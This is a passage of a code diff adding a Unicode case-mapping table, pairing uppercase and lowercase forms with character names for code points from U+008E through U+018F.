+ ["\u008E", "\u008E"], /* <control> (SINGLE SHIFT TWO) */
+ ["\u008F", "\u008F"], /* <control> (SINGLE SHIFT THREE) */
+ ["\u0090", "\u0090"], /* <control> (DEVICE CONTROL STRING) */
+ ["\u0091", "\u0091"], /* <control> (PRIVATE USE ONE) */
+ ["\u0092", "\u0092"], /* <control> (PRIVATE USE TWO) */
+ ["\u0093", "\u0093"], /* <control> (SET TRANSMIT STATE) */
+ ["\u0094", "\u0094"], /* <control> (CANCEL CHARACTER) */
+ ["\u0095", "\u0095"], /* <control> (MESSAGE WAITING) */
+ ["\u0096", "\u0096"], /* <control> (START OF GUARDED AREA) */
+ ["\u0097", "\u0097"], /* <control> (END OF GUARDED AREA) */
+ ["\u0098", "\u0098"], /* <control> (START OF STRING) */
+ ["\u0099", "\u0099"], /* <control> */
+ ["\u009A", "\u009A"], /* <control> (SINGLE CHARACTER INTRODUCER) */
+ ["\u009B", "\u009B"], /* <control> (CONTROL SEQUENCE INTRODUCER) */
+ ["\u009C", "\u009C"], /* <control> (STRING TERMINATOR) */
+ ["\u009D", "\u009D"], /* <control> (OPERATING SYSTEM COMMAND) */
+ ["\u009E", "\u009E"], /* <control> (PRIVACY MESSAGE) */
+ ["\u009F", "\u009F"], /* <control> (APPLICATION PROGRAM COMMAND) */
+ ["\u00A0", "\u00A0"], /* NO-BREAK SPACE (NON-BREAKING SPACE) */
+ ["\u00A1", "\u00A1"], /* INVERTED EXCLAMATION MARK */
+ ["\u00A2", "\u00A2"], /* CENT SIGN */
+ ["\u00A3", "\u00A3"], /* POUND SIGN */
+ ["\u00A4", "\u00A4"], /* CURRENCY SIGN */
+ ["\u00A5", "\u00A5"], /* YEN SIGN */
+ ["\u00A6", "\u00A6"], /* BROKEN BAR (BROKEN VERTICAL BAR) */
+ ["\u00A7", "\u00A7"], /* SECTION SIGN */
+ ["\u00A8", "\u00A8"], /* DIAERESIS (SPACING DIAERESIS) */
+ ["\u00A9", "\u00A9"], /* COPYRIGHT SIGN */
+ ["\u00AA", "\u00AA"], /* FEMININE ORDINAL INDICATOR */
+ ["\u00AB", "\u00AB"], /* LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (LEFT POINTING GUILLEMET) */
+ ["\u00AC", "\u00AC"], /* NOT SIGN */
+ ["\u00AD", "\u00AD"], /* SOFT HYPHEN */
+ ["\u00AE", "\u00AE"], /* REGISTERED SIGN (REGISTERED TRADE MARK SIGN) */
+ ["\u00AF", "\u00AF"], /* MACRON (SPACING MACRON) */
+ ["\u00B0", "\u00B0"], /* DEGREE SIGN */
+ ["\u00B1", "\u00B1"], /* PLUS-MINUS SIGN (PLUS-OR-MINUS SIGN) */
+ ["\u00B2", "\u00B2"], /* SUPERSCRIPT TWO (SUPERSCRIPT DIGIT TWO) */
+ ["\u00B3", "\u00B3"], /* SUPERSCRIPT THREE (SUPERSCRIPT DIGIT THREE) */
+ ["\u00B4", "\u00B4"], /* ACUTE ACCENT (SPACING ACUTE) */
+ ["\u039C", "\u00B5"], /* MICRO SIGN */
+ ["\u00B6", "\u00B6"], /* PILCROW SIGN (PARAGRAPH SIGN) */
+ ["\u00B7", "\u00B7"], /* MIDDLE DOT */
+ ["\u00B8", "\u00B8"], /* CEDILLA (SPACING CEDILLA) */
+ ["\u00B9", "\u00B9"], /* SUPERSCRIPT ONE (SUPERSCRIPT DIGIT ONE) */
+ ["\u00BA", "\u00BA"], /* MASCULINE ORDINAL INDICATOR */
+ ["\u00BB", "\u00BB"], /* RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (RIGHT POINTING GUILLEMET) */
+ ["\u00BC", "\u00BC"], /* VULGAR FRACTION ONE QUARTER (FRACTION ONE QUARTER) */
+ ["\u00BD", "\u00BD"], /* VULGAR FRACTION ONE HALF (FRACTION ONE HALF) */
+ ["\u00BE", "\u00BE"], /* VULGAR FRACTION THREE QUARTERS (FRACTION THREE QUARTERS) */
+ ["\u00BF", "\u00BF"], /* INVERTED QUESTION MARK */
+ ["\u00C0", "\u00E0"], /* LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE) */
+ ["\u00C1", "\u00E1"], /* LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE) */
+ ["\u00C2", "\u00E2"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX) */
+ ["\u00C3", "\u00E3"], /* LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE) */
+ ["\u00C4", "\u00E4"], /* LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS) */
+ ["\u00C5", "\u00E5"], /* LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING) */
+ ["\u00C6", "\u00E6"], /* LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E) */
+ ["\u00C7", "\u00E7"], /* LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA) */
+ ["\u00C8", "\u00E8"], /* LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE) */
+ ["\u00C9", "\u00E9"], /* LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE) */
+ ["\u00CA", "\u00EA"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX) */
+ ["\u00CB", "\u00EB"], /* LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS) */
+ ["\u00CC", "\u00EC"], /* LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE) */
+ ["\u00CD", "\u00ED"], /* LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE) */
+ ["\u00CE", "\u00EE"], /* LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX) */
+ ["\u00CF", "\u00EF"], /* LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS) */
+ ["\u00D0", "\u00F0"], /* LATIN CAPITAL LETTER ETH */
+ ["\u00D1", "\u00F1"], /* LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE) */
+ ["\u00D2", "\u00F2"], /* LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE) */
+ ["\u00D3", "\u00F3"], /* LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE) */
+ ["\u00D4", "\u00F4"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX) */
+ ["\u00D5", "\u00F5"], /* LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE) */
+ ["\u00D6", "\u00F6"], /* LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS) */
+ ["\u00D7", "\u00D7"], /* MULTIPLICATION SIGN */
+ ["\u00D8", "\u00F8"], /* LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH) */
+ ["\u00D9", "\u00F9"], /* LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE) */
+ ["\u00DA", "\u00FA"], /* LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE) */
+ ["\u00DB", "\u00FB"], /* LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX) */
+ ["\u00DC", "\u00FC"], /* LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS) */
+ ["\u00DD", "\u00FD"], /* LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE) */
+ ["\u00DE", "\u00FE"], /* LATIN CAPITAL LETTER THORN */
+ ["\u0053\u0053", "\u00DF"], /* LATIN SMALL LETTER SHARP S */
+ ["\u00C0", "\u00E0"], /* LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE) */
+ ["\u00C1", "\u00E1"], /* LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE) */
+ ["\u00C2", "\u00E2"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX) */
+ ["\u00C3", "\u00E3"], /* LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE) */
+ ["\u00C4", "\u00E4"], /* LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS) */
+ ["\u00C5", "\u00E5"], /* LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING) */
+ ["\u00C6", "\u00E6"], /* LATIN SMALL LETTER AE (LATIN SMALL LETTER A E) */
+ ["\u00C7", "\u00E7"], /* LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA) */
+ ["\u00C8", "\u00E8"], /* LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE) */
+ ["\u00C9", "\u00E9"], /* LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE) */
+ ["\u00CA", "\u00EA"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX) */
+ ["\u00CB", "\u00EB"], /* LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS) */
+ ["\u00CC", "\u00EC"], /* LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE) */
+ ["\u00CD", "\u00ED"], /* LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE) */
+ ["\u00CE", "\u00EE"], /* LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX) */
+ ["\u00CF", "\u00EF"], /* LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS) */
+ ["\u00D0", "\u00F0"], /* LATIN SMALL LETTER ETH */
+ ["\u00D1", "\u00F1"], /* LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE) */
+ ["\u00D2", "\u00F2"], /* LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE) */
+ ["\u00D3", "\u00F3"], /* LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE) */
+ ["\u00D4", "\u00F4"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX) */
+ ["\u00D5", "\u00F5"], /* LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE) */
+ ["\u00D6", "\u00F6"], /* LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS) */
+ ["\u00F7", "\u00F7"], /* DIVISION SIGN */
+ ["\u00D8", "\u00F8"], /* LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH) */
+ ["\u00D9", "\u00F9"], /* LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE) */
+ ["\u00DA", "\u00FA"], /* LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE) */
+ ["\u00DB", "\u00FB"], /* LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX) */
+ ["\u00DC", "\u00FC"], /* LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS) */
+ ["\u00DD", "\u00FD"], /* LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE) */
+ ["\u00DE", "\u00FE"], /* LATIN SMALL LETTER THORN */
+ ["\u0178", "\u00FF"], /* LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS) */
+ ["\u0100", "\u0101"], /* LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON) */
+ ["\u0100", "\u0101"], /* LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON) */
+ ["\u0102", "\u0103"], /* LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE) */
+ ["\u0102", "\u0103"], /* LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE) */
+ ["\u0104", "\u0105"], /* LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK) */
+ ["\u0104", "\u0105"], /* LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK) */
+ ["\u0106", "\u0107"], /* LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE) */
+ ["\u0106", "\u0107"], /* LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE) */
+ ["\u0108", "\u0109"], /* LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX) */
+ ["\u0108", "\u0109"], /* LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX) */
+ ["\u010A", "\u010B"], /* LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT) */
+ ["\u010A", "\u010B"], /* LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT) */
+ ["\u010C", "\u010D"], /* LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK) */
+ ["\u010C", "\u010D"], /* LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK) */
+ ["\u010E", "\u010F"], /* LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK) */
+ ["\u010E", "\u010F"], /* LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK) */
+ ["\u0110", "\u0111"], /* LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR) */
+ ["\u0110", "\u0111"], /* LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR) */
+ ["\u0112", "\u0113"], /* LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON) */
+ ["\u0112", "\u0113"], /* LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON) */
+ ["\u0114", "\u0115"], /* LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE) */
+ ["\u0114", "\u0115"], /* LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE) */
+ ["\u0116", "\u0117"], /* LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT) */
+ ["\u0116", "\u0117"], /* LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT) */
+ ["\u0118", "\u0119"], /* LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK) */
+ ["\u0118", "\u0119"], /* LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK) */
+ ["\u011A", "\u011B"], /* LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK) */
+ ["\u011A", "\u011B"], /* LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK) */
+ ["\u011C", "\u011D"], /* LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX) */
+ ["\u011C", "\u011D"], /* LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX) */
+ ["\u011E", "\u011F"], /* LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE) */
+ ["\u011E", "\u011F"], /* LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE) */
+ ["\u0120", "\u0121"], /* LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT) */
+ ["\u0120", "\u0121"], /* LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT) */
+ ["\u0122", "\u0123"], /* LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA) */
+ ["\u0122", "\u0123"], /* LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA) */
+ ["\u0124", "\u0125"], /* LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX) */
+ ["\u0124", "\u0125"], /* LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX) */
+ ["\u0126", "\u0127"], /* LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR) */
+ ["\u0126", "\u0127"], /* LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR) */
+ ["\u0128", "\u0129"], /* LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE) */
+ ["\u0128", "\u0129"], /* LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE) */
+ ["\u012A", "\u012B"], /* LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON) */
+ ["\u012A", "\u012B"], /* LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON) */
+ ["\u012C", "\u012D"], /* LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE) */
+ ["\u012C", "\u012D"], /* LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE) */
+ ["\u012E", "\u012F"], /* LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK) */
+ ["\u012E", "\u012F"], /* LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK) */
+ ["\u0130", "\u0069\u0307"], /* LATIN CAPITAL LETTER I WITH DOT ABOVE (LATIN CAPITAL LETTER I DOT) */
+ ["\u0049", "\u0131"], /* LATIN SMALL LETTER DOTLESS I */
+ ["\u0132", "\u0133"], /* LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J) */
+ ["\u0132", "\u0133"], /* LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J) */
+ ["\u0134", "\u0135"], /* LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX) */
+ ["\u0134", "\u0135"], /* LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX) */
+ ["\u0136", "\u0137"], /* LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA) */
+ ["\u0136", "\u0137"], /* LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA) */
+ ["\u0138", "\u0138"], /* LATIN SMALL LETTER KRA */
+ ["\u0139", "\u013A"], /* LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE) */
+ ["\u0139", "\u013A"], /* LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE) */
+ ["\u013B", "\u013C"], /* LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA) */
+ ["\u013B", "\u013C"], /* LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA) */
+ ["\u013D", "\u013E"], /* LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK) */
+ ["\u013D", "\u013E"], /* LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK) */
+ ["\u013F", "\u0140"], /* LATIN CAPITAL LETTER L WITH MIDDLE DOT */
+ ["\u013F", "\u0140"], /* LATIN SMALL LETTER L WITH MIDDLE DOT */
+ ["\u0141", "\u0142"], /* LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH) */
+ ["\u0141", "\u0142"], /* LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH) */
+ ["\u0143", "\u0144"], /* LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE) */
+ ["\u0143", "\u0144"], /* LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE) */
+ ["\u0145", "\u0146"], /* LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA) */
+ ["\u0145", "\u0146"], /* LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA) */
+ ["\u0147", "\u0148"], /* LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK) */
+ ["\u0147", "\u0148"], /* LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK) */
+ ["\u02BC\u004E", "\u0149"], /* LATIN SMALL LETTER N PRECEDED BY APOSTROPHE (LATIN SMALL LETTER APOSTROPHE N) */
+ ["\u014A", "\u014B"], /* LATIN CAPITAL LETTER ENG */
+ ["\u014A", "\u014B"], /* LATIN SMALL LETTER ENG */
+ ["\u014C", "\u014D"], /* LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON) */
+ ["\u014C", "\u014D"], /* LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON) */
+ ["\u014E", "\u014F"], /* LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE) */
+ ["\u014E", "\u014F"], /* LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE) */
+ ["\u0150", "\u0151"], /* LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE) */
+ ["\u0150", "\u0151"], /* LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE) */
+ ["\u0152", "\u0153"], /* LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E) */
+ ["\u0152", "\u0153"], /* LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E) */
+ ["\u0154", "\u0155"], /* LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE) */
+ ["\u0154", "\u0155"], /* LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE) */
+ ["\u0156", "\u0157"], /* LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA) */
+ ["\u0156", "\u0157"], /* LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA) */
+ ["\u0158", "\u0159"], /* LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK) */
+ ["\u0158", "\u0159"], /* LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK) */
+ ["\u015A", "\u015B"], /* LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE) */
+ ["\u015A", "\u015B"], /* LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE) */
+ ["\u015C", "\u015D"], /* LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX) */
+ ["\u015C", "\u015D"], /* LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX) */
+ ["\u015E", "\u015F"], /* LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA) */
+ ["\u015E", "\u015F"], /* LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA) */
+ ["\u0160", "\u0161"], /* LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK) */
+ ["\u0160", "\u0161"], /* LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK) */
+ ["\u0162", "\u0163"], /* LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA) */
+ ["\u0162", "\u0163"], /* LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA) */
+ ["\u0164", "\u0165"], /* LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK) */
+ ["\u0164", "\u0165"], /* LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK) */
+ ["\u0166", "\u0167"], /* LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR) */
+ ["\u0166", "\u0167"], /* LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR) */
+ ["\u0168", "\u0169"], /* LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE) */
+ ["\u0168", "\u0169"], /* LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE) */
+ ["\u016A", "\u016B"], /* LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON) */
+ ["\u016A", "\u016B"], /* LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON) */
+ ["\u016C", "\u016D"], /* LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE) */
+ ["\u016C", "\u016D"], /* LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE) */
+ ["\u016E", "\u016F"], /* LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING) */
+ ["\u016E", "\u016F"], /* LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING) */
+ ["\u0170", "\u0171"], /* LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE) */
+ ["\u0170", "\u0171"], /* LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE) */
+ ["\u0172", "\u0173"], /* LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK) */
+ ["\u0172", "\u0173"], /* LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK) */
+ ["\u0174", "\u0175"], /* LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX) */
+ ["\u0174", "\u0175"], /* LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX) */
+ ["\u0176", "\u0177"], /* LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX) */
+ ["\u0176", "\u0177"], /* LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX) */
+ ["\u0178", "\u00FF"], /* LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS) */
+ ["\u0179", "\u017A"], /* LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE) */
+ ["\u0179", "\u017A"], /* LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE) */
+ ["\u017B", "\u017C"], /* LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT) */
+ ["\u017B", "\u017C"], /* LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT) */
+ ["\u017D", "\u017E"], /* LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK) */
+ ["\u017D", "\u017E"], /* LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK) */
+ ["\u0053", "\u017F"], /* LATIN SMALL LETTER LONG S */
+ ["\u0243", "\u0180"], /* LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR) */
+ ["\u0181", "\u0253"], /* LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK) */
+ ["\u0182", "\u0183"], /* LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR) */
+ ["\u0182", "\u0183"], /* LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR) */
+ ["\u0184", "\u0185"], /* LATIN CAPITAL LETTER TONE SIX */
+ ["\u0184", "\u0185"], /* LATIN SMALL LETTER TONE SIX */
+ ["\u0186", "\u0254"], /* LATIN CAPITAL LETTER OPEN O */
+ ["\u0187", "\u0188"], /* LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK) */
+ ["\u0187", "\u0188"], /* LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK) */
+ ["\u0189", "\u0256"], /* LATIN CAPITAL LETTER AFRICAN D */
+ ["\u018A", "\u0257"], /* LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK) */
+ ["\u018B", "\u018C"], /* LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR) */
+ ["\u018B", "\u018C"], /* LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR) */
+ ["\u018D", "\u018D"], /* LATIN SMALL LETTER TURNED DELTA */
+ ["\u018E", "\u01DD"], /* LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E) */
+ ["\u018F", "\u0259"], /* LATIN CAPITAL LETTER SCHWA */
